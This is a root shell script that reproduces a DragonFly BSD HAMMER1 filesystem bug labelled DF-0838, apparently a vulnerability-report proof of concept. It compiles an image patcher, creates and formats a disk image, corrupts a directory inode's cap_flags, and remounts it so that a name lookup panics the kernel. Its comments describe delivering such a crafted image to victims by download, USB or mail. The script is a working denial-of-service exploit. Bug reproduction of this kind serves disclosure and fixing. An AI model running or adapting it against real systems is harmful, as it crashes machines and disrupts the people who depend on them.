#!/bin/sh
# DF-0838 — full reproduction driver.
# Runs as root (mount/newfs_hammer/vnconfig need root).
#
# Realism note (Phase 6 reachability): in a real attack, the attacker crafts
# the HAMMER1 image *offline* (their own machine), then ships it to a victim
# (download, USB, mail attachment).  When an admin (or any user with
# vfs.usermount=1 + image ownership) mounts the image and does ANY filename
# operation under the corrupted directory, the kernel hits:
#     sys/vfs/hammer/hammer_subs.c:1031  hpanic("bad algorithm %p", dip)
# This script replicates that end-to-end inside the test guest as root,
# because newfs_hammer/mount_hammer are privileged; the *consequence*
# (kernel panic on a directory op against a mounted image) is the same
# regardless of who mounted it.

set -eu

IMAGE=/root/df0838.img
MNT=/mnt/df0838
SRC=/root/df0838/image_patcher.c
BIN=/root/df0838/image_patcher

cleanup() {
    umount "$MNT" 2>/dev/null || true
    # vn4 was the device we used; release it if still configured
    for vn in $(vnconfig -l 2>/dev/null | awk -F: '/^vn[0-9]+:.*df0838/ {print $1}'); do
        vnconfig -u "$vn" 2>/dev/null || true
    done
}
trap cleanup EXIT

mkdir -p /root/df0838
cc -O2 -Wall -o "$BIN" "$SRC" -lz

rm -f "$IMAGE"
truncate -s 2G "$IMAGE"

VN=$(vnconfig vn "$IMAGE" | tail -1)
echo "configured $VN"

# Format as HAMMER1 v6 so leaf data_crc uses plain crc32() (matches our patcher).
newfs_hammer -L df0838 -V 6 -f "/dev/$VN" >/tmp/newfs.log 2>&1
tail -3 /tmp/newfs.log

mkdir -p "$MNT"
mount_hammer "/dev/$VN" "$MNT"
echo "mounted /dev/$VN on $MNT"

# Create a directory whose cap_flags we will corrupt on-disk.
mkdir "$MNT/testdir"
echo hello > "$MNT/testdir/file1"
echo hello > "$MNT/testdir/file2"
ls -la "$MNT/testdir"

umount "$MNT"
vnconfig -u "$VN"

# Patch the directory inode's cap_flags = ALG2 (0x02) and refresh its leaf CRC.
"$BIN" "$IMAGE"

# Re-attach and mount the now-malicious image.
VN=$(vnconfig vn "$IMAGE" | tail -1)
echo "re-configured $VN"
mount_hammer "/dev/$VN" "$MNT"
echo "mounted malicious image; now triggering hammer_direntry_namekey() ..."
echo "(next op should panic the kernel with 'bad algorithm')"

# This name-lookup calls hammer_vop_nresolve -> hammer_direntry_namekey(testdir)
# -> switch (cap_flags & 0x03 == 0x02) -> hpanic("bad algorithm").
ls -la "$MNT/testdir/file1" || true
echo "SHOULD NOT GET HERE: kernel should have panicked"
